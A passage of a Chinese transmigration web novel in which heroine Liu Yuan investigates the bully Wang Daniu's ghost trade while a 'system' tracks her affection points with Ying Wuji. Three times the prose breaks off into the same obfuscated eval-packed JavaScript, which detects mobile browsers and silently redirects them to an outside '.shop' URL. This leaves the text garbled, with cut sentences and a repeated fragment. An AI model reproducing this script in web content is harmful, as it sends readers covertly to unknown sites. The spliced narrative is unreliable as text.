王大牛先是愣了一下,过了好一会儿才反应过来柳沅在骂他。他大吼一声,就要站起来,结果牛车经过一个小坑,颠簸了一下,正好把他颠了出去。 只听一声惨叫,王大牛砰的一声坠落在地。 柳沅噗嗤一声就笑了出来,连带着身后的二人全都笑了。 “王大牛,你要是再说些难听的话,我们就不让你上来了。”李桑字扑在牛车边边,朝着地面喊道。 “你们……你们欺人太甚!”王大牛吐掉嘴里的泥,骂骂咧咧道。 “哟,”柳沅朝他挑了个眉,讥笑道:“你还知道欺人太甚呢?我以为你脑子里装的只有水呢。” 王大牛被她气的脸红一阵白一阵的,真的就想当场不走了。 这时,李桑字幽幽道:“这个地方不仅离镇里远,离村里也远,你要是留在这里,天黑了也不一定能回去呢,欸,你说天黑了你还没回去会怎么样啊?” 说着,她笑得越发灿烂。 天黑?柳沅敏锐地捕捉到了这个字眼,好像自从她来到这里的第一天起,所有人都在强调夜晚的危险。 所以,她总觉得奇怪,夜晚究竟有多危险,才会让这个看上去天不怕地不怕的胖子突然面色惨白? 王大牛最后还是狼狈地爬上了牛车,也不说些难听的话了,只是时不时瞪瞪柳沅。 路上无聊,柳沅回想起王大牛之前说的话,状似不经意道:“你这身衣服看起来也不怎么样嘛。” “是你没见识,这衣服的价格说出来吓死你。”王大牛眼睛瞪的像牛眼,说话也恶狠狠的。柳沅装出一副不知天高地厚的样子,嗤笑道:“我看你也不怎么有钱嘛,这村里不都是种庄稼,怎么可能赚到那么多钱?难不成你还做生意?” “我就不能做生意?”王大牛嚷嚷道,“我做的生意说出来吓死你们这群乡巴佬!” 说完,摆出一副看不起任何人的架子,神气地白了柳沅一眼。 蠢货。柳沅在心里骂道,换了个姿势,斜睨他一眼,故意道:“莫不是做什么谋财害命的勾当吧?看你这样子也不像是好人。” 王大牛却笑了,慢悠悠道:“我做的生意可不是一般人能做的,你们这些凡人别想了。就算知道了也做不成。” 闻言,柳沅心里咯噔一声,难道自己的意图被发现了? 她悄悄地观察着牛车上的人,只见叶子桐一直看着前面,李桑字正在核对那张记满东西的纸,王大牛依旧是那副得意的神情。 柳沅突然觉得自己高估了王大牛的智商,他根本不知道自己在套话。 于是她继续道:“不就是怕别人知道了抢你的生意吗?装什么呢?” 果然,王大牛最不喜欢别人瞧不起自己,恶狠狠瞪了柳沅一眼:“明明是你们没那个脑子去做。” “你们这些乡巴佬。” “翻来覆去就这几句话,不就是不敢说吗?”柳沅满不在意道。 王大牛被气急了,大吼一声:“我就贩卖消息,说了又怎么样,说了你也听不懂!” 柳沅得到了自己想要的消息,满意地笑了。 前几天她出去到处逛的时候,就听到有人在谈论王大婶家的儿子王大牛,说他前几年还是烂泥扶不上墙,突然今年就赚大钱了,说一定有高人指点。 这不,正好柳沅也缺钱,也碰见了王大牛,他看起来脑子不太好的样子,那不正好从他嘴巴里套出点东西来? 柳沅心中暗喜,面上却还是一副蔑视的样子。王大牛小声骂了几句,就没说话了。 又过了一小会儿,小路上的行人明显多了起来,四周也没有那么安静了,隐隐传来些商贩叫卖的声音。柳沅探头往前一看,发现不远处屹立着一座高高的城门,上面写着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777052|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云城。 “前面就是了。”叶子桐特地转过头来,对柳沅说道。李桑字把东西收好,坐到柳沅旁边,牵住了她的手:“城里人多眼杂,你跟着我,我带着你买东西。” “这几日城里不太平,有好多女孩失踪了,你可跟紧我了。”她又叮嘱道。 柳沅答应了,可心里却在盘算些别的。王大牛说那生意不是凡人能做的,那肯定和修仙有关,又或者和妖鬼之事有关。 而且能让他在这么短的时间内富起来,一定不是什么安全的生意。 管他呢,柳沅心想,只要能赚钱就可以了。 于是,趁着李桑字在成衣铺买布料的空隙,柳沅和她打了个招呼,说自己去旁边看看有没有什么好看的首饰,转身就偷偷跟上了王大牛。 镇上的街道上满是人和铺子,这无疑是最好的掩体。柳沅就这样一路跟着王大牛来到一座赌场前,亲眼看着他钻了进去。 就王大牛那个智商,怎么可能在赌场里赢钱?柳沅不假思索地换了条路,绕过赌场往小巷子的方向走,果然在那里看见了王大牛。 看来这生意不能在明面上做,所以用赌场当幌子。 柳沅悄悄躲在墙根处,听王大牛和一个带着黑色斗篷的人说话。 “这次需要50个散骨魂,三天时间内收集好,赏金一百两。”说话的人声音很低沉,听不出是男是女。 王大牛谄媚的声音传来:“好,好,我一定会按时交上来的。不过最近散骨魂越来越难找了,这价格是不是可以……稍微高一点?” 哟,还知道提价?柳沅突然觉得王大牛这脑子灵光了一回。 黑衣人的语气变得有点不耐烦:“最近有别的人也在做这门生意,你这一百两的价格我都不赚钱,你还想提价?” 听了这话,王大牛突然惶恐道:“我没有……我没有想提价,只是我一介凡人,要抓这种鬼魂实在是太难了,您也知道夜晚对我们来说太危险了,这东西又只在晚上出没。” 又是晚上。柳沅眼皮一跳,皱起眉头。 所有人都在强调晚上很危险。 “既然难抓,那就多费些功夫,这价格绝对不能提了。”黑衣人强调道。 王大牛果然还是蠢,完全相信了黑衣人的话,战战兢兢地退出了小巷。他走的飞快,差点迎面撞上跟踪他的柳沅。柳沅被吓了个半死,匆忙跑了出去。 王大牛从巷子里出来后,又钻进了赌场。柳沅看了看他的背影,确定是真进了赌场之后,匆忙往回走去。 这一走出去就正好碰上了李桑字,她脸色不太好,大包小包地拿着,看起来怪吃力的。而站在她右手边的叶子桐,连眼神都没分给她一个。 柳沅上前接过她手里的东西,没说话。 李桑字吸了一下鼻子,强颜欢笑道:“你去哪了,我可是找了你很久,怎么逛到赌场这边来了?” 柳沅装作一副懵懂的样子,看了看四周,不好意思道:“我这一路逛着,也不知道自己走到哪里了,原来这里是赌场啊。” 李桑字被她逗笑了:“这可不能随便进,你不是说要买些布料首饰吗?我带你去我常买的店铺。” 15. 昼与夜(5) 说完,也不看旁边的叶子桐,径自拉着柳沅往别处去。 柳沅只当这两人闹了别扭,跟着李桑字往店铺那边去。 就在这时,系统的声音突然出现:“恭喜宿主,完成任务,任务奖金已发放,请及时查收。” 什么?柳沅怔住了,怎么就完成任务了?她不是还没怎么打听吗? “系统显示宿主已经和男主产生联系,所以判定您完成了任务。”系统补充道。 所以—— 柳沅突然转过身去,望着拥挤的人流,若有所思。 “你怎么了?”李桑字不解道。 柳沅摇摇头:“没事,你说的店铺在哪里,我们走吧。” 街道上实在是太拥挤了,李桑字带着柳沅抄了条近路,很快来到了那家首饰铺。首饰铺的门前是告示牌,好多人围在那里,柳沅也很好奇想去凑热闹,被李桑字拉住了。 “我们得快些了,天色不早了。” 闻言,柳沅这才发现已经快下午了,只好打消了去看看的念头,转身进了首饰铺。 她先是给自己买了一大包首饰,随后琢磨着应无霁应该适合清淡一点的颜色,于是买了几个银簪子,又去了成衣店,买了些布料。 “你不给娘亲多买些东西,怎么全用自己身上了?”系统不满道。 柳沅拎着大包小包的东西,心满意足地往城门口走,闻言道:“这是我自己完成任务赚到的钱,当然要先花在我自己身上,而且我又不是没有给她买东西。” 说完,她狡黠一笑:“你应该反思自己,为什么不给我更多的钱。” “你!”系统没想到她竟然还能怪上自己,被气得不说话了。 柳沅乐得自在,哼着歌往前走。 只是身后的李桑字显得没那么快活,一路上总是出神,她们俩好几次都差点被人流冲散。 李桑字是反派的白月光,那到底是拉住反派的一道光,还是把反派推向深渊的推手呢?柳沅思考着。 如果是前者,那柳沅只要和她打好关系,反派说不定会看在白月光的面子上饶她一命,若是后者…… “柳沅。” 李桑字的呼喊把她的思绪拉回了现实。 柳沅转过身,疑惑地望着她。 李桑字的手指不自觉地绞着衣角,话到嘴边,却总是说不出来。 “没事,”她轻呼一口气,“我没事。” 柳沅往后退了几步,和她走在一起,看着她心神不宁,又差点撞到别人,于是忍不住道:“你是和叶子桐吵架了吗?” “你看起来心情很不好。” 闻言,李桑字只是苦笑,半晌,轻轻叹了一口气:“你都能看出来我心情不好,他却视而不见。” 柳沅从这半句语焉不详的话中嗅到了八卦的味道,接着问道:“你……你对他?” 李桑字倒是坦率,直接点头。 望着柳沅脸上闪过的震惊,她抿了抿唇,自嘲一声:“除了他,所有人都知道我心悦于他,我竟不知道他究竟是装不知道,还是真的不知道。” 好复杂。柳沅默默在心里说道。 不过,柳沅望着李桑字,这样温柔的女子,在这种古早虐文里,应该是最受欢迎的类型吧。李桑字都是反派的白月光了,应该不缺人喜欢吧。 “宿主别忘了,你穿进的是一本古早虐文。不止男女主是狗血虐恋,任何一对都逃不过狗血的结局。”系统冷冷道。 “你又偷听我的想法!”柳沅怒道。 系统理直气壮道:“我和宿主本来就是一体的,这个功能也是为了更好的完成任务。” “呵呵。”柳沅嘲讽。 说着说着,两人很快来到了城外,叶子桐和王大牛已经等在那里了。柳沅看见李桑字飞快地上前,绕过叶子桐伸出的手,径自把东西放在了牛车上,然后一声不吭地上了车。 “不过我看叶子桐对她也不是全无感觉,那眼神就不对劲。”柳沅一边走,一边和系统说道。 穿过来之前,她深耕于磕cp这个行业,精通各种眼神糖和动作糖,只一眼,她就发觉这两人之间的氛围有问题。 叶子桐看上去对李桑字毫不在意,可还是会下意识关注她,李桑字不用说了,眼神就已经暴露了她的全部想法。 系统道:“别打歪心思,就算你把反派的白月光和小弟撮合在一起,也改变不了反派的性格。一个天生坏种是后天经历无法改变的。” 柳沅摇摇头,把东西放好,一边爬上车一边对系统道:“我只是想想,想想又不犯法。” “你最好是这样。”系统严肃道。 “这个世界的剧情已经乱的不像样了,若是随意改变,甚至可能影响到主线剧情,你也不想我和你无法完成任务,死在反派手下吧?” 闻言,柳沅愣了愣,随后苦笑道:“真是运气不好啊。” 人齐了,天色也不早了,于是他们开始返航。王大牛似乎是赢了钱,满面红光地大声嚷嚷道:“你们这群乡巴佬怎么都不会想到,我能和入梦人搭上线,做他们的生意。” 说完,得意洋洋地看了柳沅一眼,继续道:“有些人买东西还需要看价格,我随随便便在赌场里输掉的钱,她一辈子都赚不到。” 柳沅当然听得出来他在嘲讽自己,觉得很没意思,只是转过头去看风景。 王大牛见她不说话,心里更得意了,继续道:“也不知道之前是谁在路上嘲讽我,其实是嫉妒我吧?还有还有,估计有的人连入梦人是什么都不知道。” 送上门来的蠢货。柳沅在心里翻了个白眼。 “那你倒是说说,什么是入梦人啊?”她换了个姿势,抱臂斜眼看着王大牛,似笑非笑道。 王大牛这才完全看清柳沅的脸。 最突出的是那双眼睛,淡棕色的眼珠,长长似桃花又似杏子的眼型,看人的时候自带一种冷意。眉心左右两颗对称的小痣,胜似狐狸,冲淡了眉眼间的冷硬,多了些清纯的妩媚。 此时她神色淡淡,嘴角还挂着嘲讽的笑,更让人觉得冷漠。 王大牛被她一看,顿感如芒刺背,下意识坐直,有点心虚地避开她的目光,道:“入梦人是修仙者,你这种凡人根本没有任何机会接触,就算知道了也没用。” “哦。”柳沅的态度很冷淡,“别是只和人家说了几句话,就吹成做生意了。” 柳沅的话让王大牛想起巷子里那个黑衣人高傲的态度,气的咬了咬牙齿,对着柳沅道:“你给我等着,我会让你知道惹怒我的代价。” 柳沅丝毫没有害怕的样子,这让王大牛更加气愤。 好在前面就是霞村了,这才没让这两人当场打起来。下了车,柳沅帮李桑字搬好东西,又去拿自己买好的东西。 叶子桐始终站在一旁,冷眼相看。 柳沅经过王大牛身边时,王大牛冷哼一声,头昂的老高。她眼尖,一下就看到他后脑勺上沾着的一根枯草。这根枯草…… 柳沅记得上车的时候没有,这一路上也没有类似的草。 可能会和那古怪的入梦人组织有关。柳沅暗暗留了个心眼,搬着东西往前走。 牛车停留的地方离村口有点远,柳沅刚把东西搬回来,就看见王大牛一脸不怀好意地靠近李桑字,似乎说了些什么,她的脸色一下子就变了。 而王大牛见李桑字一副害怕的样子,色心更盛,竟然对她动手动脚起来。柳沅即刻扔下手上的东西,往李桑字在的地方冲去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792025|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可是还是晚了一步,王大牛挑起李桑字的下巴,笑得猥琐。李桑字气不过,一巴掌甩了过去。 只听啪的一声,王大牛的面色猛然变了。柳沅大呼不好,加快了速度。 在王大牛怒吼着要甩李桑字巴掌时,柳沅一个箭步,冲到了她面前。原来是打算推开王大牛的,没想到他是真重,柳沅压根推不动。 眼看这巴掌就要落在柳沅脸上,一双苍白的手猛地伸了过来,狠狠钳制住了王大牛的手。 柳沅猛然抬头,一滴水正好滴在她的眼睛里,模糊中,她看见浑身湿透的应无霁。那双雾蒙蒙的眼睛带着点寒冬腊月里才有的凉,让柳沅不由自主地打了个寒颤。 王大牛像个小鸡仔,被应无霁狠狠掀翻,几乎是倒插在地上。与此同时,柳沅感觉迎面扑来一阵水雾,自己的手被另一只手包裹住。 “警告,娘亲好感度下降五点,目前总好感度10点。” 得,柳沅叹气,一朝回到解放前。又在娘亲面前丢脸了。 应无霁把她拉过来,柳沅这才看清他的样子。 浑身湿漉漉的,像刚从水里爬出来。从他缠在一起的发丝能够看出来,应无霁还是顶着那天柳沅给他扎的头发,衣服还是穿的那件蓝白相间的道袍,看起来狼狈极了。 他脸上全都是水,不停地往下滑落。 “你怎么了?”柳沅小心翼翼观察着他冰冷的神色,问道。 应无霁听到她的声音,好像突然反应过来,眼神一下就活了起来,迷茫地望向她。那股冷气一下就消失了。 柳沅懵了,怎么应无霁这副样子,像是刚从梦里醒来? 他没生气,好感度怎么会下降? “恭喜宿主,娘亲好感度提升五点,目前好感度15点,请再接再厉。”系统的声音在此时突兀地响起。 他到底在想些什么?柳沅更加迷惑了。 应无霁像小狗一样甩甩自己的头发,一声不吭地拉着柳沅往前走。柳沅使劲把应无霁拉住,踹了地上的王大牛一脚。 【你为什么要打他?】应无霁在柳沅的手心写字。 “他刚才对着你猥琐地笑,你最近出门可小心些,这人色心重的很!” 是的,被应无霁打成这样了,还能用那种色迷迷的眼神瞧他,简直是恶心透顶。 柳沅放开应无霁的手,转身走到李桑字面前,安慰她道:“最近小心一些,今天我们在,他不敢轻举妄动,就怕他色心不改,你和张婶要小心。” 原本以为李桑字还是那副怯怯的样子,谁料她冷笑一声,白了身后的叶子桐一眼,抡起袖子对着王大牛就是一拳。 拳拳到肉,一拳比一拳重。 柳沅目瞪口呆地望着她的动作,对她温柔柔弱的滤镜一下全碎了。村口响起王大牛的鬼哭狼嚎,和不停的求饶。 李桑字打累了,甩了甩手,回到柳沅身边,对她笑道:“我知道的,你也快回去吧,天色不早了。” “是啊,天色不早了,我……我先回去了。”柳沅干笑一声,拉着应无霁就往村里跑。 余光中,她看见叶子桐想去拉李桑字,被她无情地躲开。她正想再看看,头顶又被重重地敲了一下。 “你干嘛?!”她转过身,瞪着应无霁。 他应该是没想到她反应这么大,愣了愣,随后用桃木枝指了指前面。 原来是柳沅看得太入迷,差点撞到树了。她顿觉自己错怪了应无霁,笑着挤到他身边,不好意思道:“谢谢你提醒我。” 应无霁摇摇头,又有几滴水珠落在柳沅脸上,凉凉的,很冷。 夜风起,应无霁又是一副湿透的样子,看起来怪可怜的。柳沅心软了,把自己的外袍脱下来,搭在他身上。 16. 昼与夜(6) 谁料应无霁避开了她的动作,外袍就那么落在了地上。 柳沅没想到他会躲开,愣神间,他已经转身往前走了。 “哎,你!”她捡起地上的外袍,大喊一声,奈何应无霁根本没有想理会她的意思。柳沅好不容易小跑到和他并肩的位置,却看见他抿紧了嘴唇,神色冰冷。 “她在不爽什么?我在帮她哎!帮她!”柳沅向系统控诉道。 系统慢悠悠道:“同一件事,好感度低和好感度高得到的反馈不一样哦。娘亲虽然现在落魄了,但以前总是个千金大小姐,你这样的行为在她眼中算是施舍,她会不情愿的。” 听着系统的话,柳沅又仔细观察了一会儿,看着他低垂的眼睛,冷漠的表情,越发觉得系统说的在理。 “你说的有道理,可是我很不爽。”柳沅冷笑道,“我很不爽。” “凭什么她就能耍大小姐脾气?我就要做受气包?”她往前大跨一步,正好拦住了应无霁。 他只是淡淡看了她一眼,完全忽略了她气势汹汹的眼神和凶狠的表情,然后绕过她继续往前走。 他根本看不懂挑衅! 柳沅还想故技重施,再度拦住他。结果应无霁直接设下了屏障,柳沅想靠近他只会被挡在空气墙外面。 而且柳沅严重怀疑这个屏障也隔绝了声音,因为无论她怎么喊,应无霁始终没有回头。 “等我有钱我也学法术。”柳沅恨恨地盯着他的背影,咬牙切齿道。 两人就这样一前一后回到了家,应无霁一如既往地进了厨房,柳沅靠在厨房门边,鬼鬼祟祟地往里面看。 她看见应无霁摆好菜和肉,往门口瞥了一眼,于是连忙装作路过的样子,到处乱看。 不知道应无霁是怎么提前预判了柳沅想捣乱的想法的,直接挥手设下一个屏障,硬生生把柳沅挤了出去。那股力量来的又凶又快,她踉跄着被赶到院子里,差点脸朝地摔下去。 “应无霁!”柳沅忍无可忍,大喊了一声。 应无霁应该是听到了,但他只是小幅度转了下头,连眼神都没施舍给柳沅一个,继续低头做菜。 柳沅什么都做不了,只能坐在院内的椅子上生闷气。 “像这种古早虐文小说里的女主都带点傲娇属性的嘛,宿主你也不用太生气。”系统安慰道。 柳沅呵呵道:“我怎么记得我看的古早小说里,只有反派或者恶毒女配才会有这种性格呢?女主不应该都是惹人怜爱的小白花吗?” 系统干笑几声。 说到这里,柳沅不由得想起刚才应无霁徒手掀翻王大牛的操作,修仙者固然和凡人有差距,但…… 她有点怀疑地望向厨房,只能看见应无霁单薄的背影。 但其实娘亲看起来确实挺柔弱的。 正想着,院子外突然传来一阵簌簌的声音,像什么东西在往草里钻。柳沅本就在气头上,拿起搁在院子墙角的砍刀,迈着大步子就往门外跑。 许是她拿着刀的样子太有威慑力,那钻到草丛里的东西突然落荒而逃,据背影能看出来,应该是矮胖的男人。 柳沅噌的一下把砍刀插在地面上,疑心那人是王大牛。 应无霁这张脸实在是太好看了,而且当时他还是湿着身体制服的王大牛。在那种龌龊的人眼里,这样的应无霁格外有吸引力。 “可是昨天那些觊觎娘亲美貌的人不都差点丢掉小命吗?我记得这件事差不多已经在村里传开了。”系统突然道。 柳沅警惕地围着房子四周转了一圈,每个死角都巡视了一眼,便检查边摇头道:“这些人喜欢铤而走险,胆比天大,还是不得不防。” 说完,她带着砍刀进了院子,开始计划着加固门窗。 此时夕阳已经渐渐隐没,黑色隐隐从天边透出来。 夜晚要来了。 应无霁也做好了饭,端到了院中。他看见柳沅拿着锤子忙来忙去,疑惑地走过去,拍了拍她的肩膀。 柳沅看见是他,吓了一大跳,下意识把锤子往前一挥。锤子直直地往他眼角而去,她大叫不好,可已经来不及控制了。 噔—— 锤子还没碰到应无霁的身体,便被一道无形的空气墙弹了出去。 柳沅瞳孔为此一震,突然想起了之前应无霁躲开自己衣服的那个动作。 【我身体的力量不太稳定,别人主动触碰我可能会被弹开。】 她的眼前出现一行字。 “哟,错怪人家了。”系统突然出来,调侃道。 柳沅反应过来,本来就有点羞愧,被系统这么一说,恼羞成怒,狠狠瞪了应无霁一眼。他微微一怔,往后退了几步,朝她伸出桃木枝。 【如果需要触碰我,可以通过这个树枝。】 柳沅心里乱的很,看见应无霁的话,脱口而出道:“谁要触碰你?” 说完后看见应无霁突然变色的脸,烦躁地转身走向石桌。 “你竟然敢对娘亲发脾气,你等着好感度下降吧。”系统幸灾乐祸道。 柳沅没理它,自顾自地拿起筷子。过了一会儿,应无霁也来了。只不过他坐在哪边,柳沅就转头。 他疑惑不解地看着柳沅反复扭动的脖子,噗嗤一声笑了出来。 这声笑声直接挑断了柳沅敏感的神经。她啪的一下放下筷子,瞪着应无霁。 “好笑吗?”她皮笑肉不笑道。 应无霁轻咳一声,虽然已经尽力绷住表情,但细碎的笑意还是从眼睛里跑了出来。 【不好笑。】 字迹消失的时候,他已经调整好了表情,还是那副波澜不惊的样子。 柳沅不知信没信,冷哼一声,继续吃饭。 吃完饭后,应无霁就要像往常一样回房间,但柳沅叫住了他。 她刚才是在生气吧?应无霁确信,微微睁开了双眼,带着疑惑望向柳沅。 她低着头,有点别扭的攥了攥衣角,大声道:“你刚才在做饭的时候,我……在院子里听到有人的声音,我看了……是……可能是今天被你打的王大牛。” 说到这里,见应无霁还是一副懵懂的样子,柳沅有点恨铁不成钢地强调道:“他……他人品不好,可能晚上会潜入咱们家,所以要先加固房屋的门窗,你……” 话还没说完,她就看见应无霁笑了。 笑什么?她纳闷。她又没干什么蠢事。 好在应无霁这抹笑很短,柳沅也没太在意。 【好。需要我做什么?】 柳沅把陷在地里的锤子拔出来,递给他,然后想起了他的话,把锤子放在了桌上。 “你,你就固定门吧,我来固定窗子。”柳沅飞快地瞥他一眼,故意使唤道。 她心惊胆战地等了一会儿,系统没有警告,应无霁也没有不情愿。 看来这不算虐待娘亲。柳沅的心落回了肚子里。 应无霁乖乖地拿起桌上的锤子,按照她的话开始加固门。 这让她的心情一下就好了起来,快速地去院子里找了些木材钉子之类的,开始固定窗户。 “恭喜宿主,娘亲好感度提升五点,目前好感度20,请再接再厉!”系统的声音在耳畔响起。 柳沅缓慢地眨了眨眼睛,有点懵,然后她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806973|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又飞速地瞟了应无霁一眼,发现他认真地在钉木头,更加迷惑了。 系统也没说使唤人能增加好感度啊,她怎么越来越弄不懂这好感度是怎么回事了呢? 不过,能涨就是好事。听见系统这个通知之后,柳沅对待应无霁的态度也明显好起来了。 见应无霁时不时停下来,她十分关切地问他是不是累了,累了可以休息休息。柳沅以为自己是在关心他,但应无霁在听到她的话后,不仅没放慢速度,反而更急了。 原本以为要花一个时辰才能完成的任务,不到半个时辰就弄完了。 沅拍拍坚固无比,怎么扒都扒不开的窗户和门,对着应无霁举了个大拇指。 【这是什么意思?】应无霁突然把脑袋凑到她肩膀处。 柳沅的视线被他写的字占满了,一时间没注意到他的位置,习惯性地往后靠了靠,猝不及防转头。 应无霁的头发正好蹭过她的脸颊。 软软的,还带着一股奇异的香味。像是墨香,又像是寺庙里的香火味。 柳沅的身体几乎是立刻就僵住了,根本不敢动。偏偏应无霁见她不说话,还要转头看她。 再转头就太近了。柳沅猛地往前一窜,头狠狠撞上了刚加固的窗子。哐当一声,她疼的眼泪都出来。 应无霁直起腰,默默将视线移向了别处,像是不忍直视。 柳沅哈哈笑了几声,嘴硬道:“这……这窗子还真是结实哈哈哈。” 应无霁又用那种看傻子的眼神盯着她,就要回房间。 就当她以为他要关上门时,应无霁突然停下。 柳沅的眼前出现了一行字:你说王大牛是坏人,那你觉得他的结局是什么呢? 应无霁为什么要对那个人渣那么感兴趣?她忍不住瞪了他一眼。 被瞪的应无霁没什么反应,那行字一直存在,这说明他一直在等柳沅的回答。 “好吧,”柳沅撑了一下膝盖,站稳身体,无所谓地耸了耸肩膀:“这种人应该从世界上消失。” 消失?应无霁若有所思地咀嚼着这个答案,转身往房间里走去。 柳沅伸了个懒腰,把地上散落的工具重新整理好,就回了房间。 夜幕很快降临,当世界完全陷入黑暗时,院子外的草丛中突然冒出奇怪的响动。一个矮胖的人影鬼鬼祟祟跳进院中,经过柳沅的房间时顿了顿,往窗台的位置吐了几口口水,然后便径直往应无霁的房间去。 他走动的幅度很大,有几抹月光落下来,照亮了那张满脸横肉的脸,是王大牛。 从前只是听说村里的俏儿姑娘长得格外好看,就是不喜欢出门。因此他从来没见过她,但今天在村口一见…… 王大牛觉得自己找到了爱情。那么漂亮的女子,仿佛神仙下凡的女子…… 他王大牛就应该配最好的。 只要一想到应无霁对着自己笑,王大牛便感觉整个人轻飘飘的,什么都想不了了。当然,这样的女子肯定眼界也很高,但只要他们生米煮成熟饭,到时候就算俏儿姑娘不愿意,也没办法了。 他就这么□□着,缓缓朝着应无霁房间的窗户靠近。然后发现根本就打不开,又准备去撞门,结果差点把自己撞飞。 这门坚硬如贴,光凭□□是撞不开的。他出来的急,又没带工具,只能站在门口干着急。 夜越来越深了,远处的山林里传来不知名的叫声,一声接着一声,诡异极了。王大牛有点胆寒,眼看撞门无望,准备偷偷溜回家,从长计议。 就在这时,屋顶上传来一声轻响,王大牛抬起头,不可置信地揉了揉眼睛。 17. 昼与夜(7) 月光如水,柔和地从银河边缘流淌,在来人的脸上洒下梦幻的柔光。应无霁的长发飞舞着,面容恬静,犹如从天而降的仙女美人。 王大牛眼睛都看直了,柔声道:“这么晚了,俏儿妹妹怎么还不睡啊?这晚上可不安全。” 应无霁看他一眼,咻的一下从屋顶上翻了下来,缓缓走到王大牛面前。 这一近,他夺人心魄的美貌更加明显,王大牛似饿虎扑食,重重往前一扑,被应无霁轻巧地躲开了。 “俏儿妹妹是在等我吗?”他邪笑着,狠狠吸了一口空气。 刚才这小美人躲的时候,那么娇美的神态,还有迎面而来的香气……王大牛感觉自己快被迷死了,动作越发急躁。 应无霁依旧是那副淡淡的表情,眼神冰冷。被他一看,王大牛糨糊般的脑子突然清醒了一瞬,有点害怕地打了个寒颤。 怎么感觉这俏儿姑娘和白天遇见的时候不太一样呢? 他下意识往后退了几步。 应无霁缓缓靠近他,同时轻轻抬起了自己的手,点在了王大牛的眉心。不知道怎么回事,心心念念的美人就站在自己面前,甚至还用手触碰了他的额头,这本该是一件值得狂喜的事情,但王大牛只觉得冷。 他开始浑身打颤。 “你知道晚上为什么不能出门吗?”耳边响起说话声,似乎近在咫尺,又似乎远在天边。王大牛惊恐地望着应无霁,发现这张美艳的脸突然变幻出可怕的样子。 他发出一声凄厉的尖叫,挣扎着就要逃走。可他走不了了。 应无霁看似柔弱的一指,竟牢牢把他钉在了原地,与此同时,浓郁的黑暗涌入院中,绕过应无霁,尽数围绕在他身边。 王大牛的身体呈现出一种诡异的姿势,扭曲着,最后完全失去了自我意识。 应无霁直起身体,居高临下地望着他,似乎在说,消失吧。 失去意识的王大牛木然地站起来,缓缓朝院外的黑暗中走去。 “昨天晚上没发生什么怪事吧?”柳沅起床梳洗完的第一件事,就是跑到应无霁房间外,大声询问道。 话音刚落,门就被打开了,露出应无霁惨白的脸。他还是穿着昨天那件衣服,肩膀处带着干涸的水痕,脸色也很差劲,像被什么东西吸干了精气。 柳沅咻的一下跑回自己的房间,拿出昨天在镇上买的衣服首饰,一股脑全塞进应无霁怀里。 他眨了眨眼睛,疑惑地望着她。 “能进去吗?”柳沅指着他的房间,问道。 应无霁点头。 于是她抬脚进房间,上次来这个房间,柳沅根本没仔细看过,现在发现整个房间除了一张床,一叠书,什么都没有。 应无霁的东西很少,整个房间显得空荡荡的。 柳沅无奈地转身,看着他道:“你这没有铜镜吗?” 应无霁摇摇头。无奈之下,她只好把自己房间的镜子搬了过来。 匆匆忙忙布置了一阵子,柳沅拉着应无霁在铜镜前坐下。 【这是干什么?】 柳沅从包袱里拿出给他挑的银簪子,对着镜子比划了一下,笑着说:“你忘记我昨天去镇上了,给你买了衣服簪子呀。” “你收留我住了这么久,我得给点表示吧?” 应无霁有点排斥地转头,又被柳沅强制转了回来。她认真且虔诚地望着他的眼睛,抓起了他的头发,道:“你真的很适合银饰,相信我,绝对能把你打扮得漂漂亮亮。” 应无霁又看了看她拿出来的衣服款式,微微瞪大了眼睛,震惊地望向柳沅。可她醉心于给他设计发型,想着搭配什么衣服,完全忽略了一切,沉浸在自己的世界里。 应无霁见眼神抗拒无效,轻轻叹了一口气,随她去了。 柳沅给应无霁选的一身淡黄色的衣裙,一头乌发一半绾了个发髻,一半编成小辫子放在肩膀两边,发间点缀着几朵银色的小蝴蝶,清纯极了。 嫌应无霁身上空落落的,柳沅忍痛从自己的首饰堆里拿出一串木头手串,戴到了应无霁手腕上。 他不喜欢身上带东西,刚要拽下来,就被柳沅拉住了。 “这可是我自己做的,你就当是我送你的礼物,别摘。”她双手合十,眼睛亮亮地望着应无霁。 他愣了愣,最后还是放下了手。 如此,一位年轻貌美,满身都是书香气的女子出现了。柳沅围着应无霁转了好几圈,越看越满意。 咚咚咚——外面传来急促的脚步声,她顺势往门外望去,看见李桑字正急匆匆往这边跑,于是向她招手。 “你来的正好,我要送你些首饰,你总是这么照顾我……” 李桑字跑过来,面色苍白,颤抖着声音道:“王大牛死了。” 柳沅没说完的话卡在了喉咙里,转而啊了一声。 “怎么回事?”她一心被这样炸裂的消息吸引,急着找李桑字问事情的经过,自然没看到身后的应无霁瞬间冰冷的眼神。 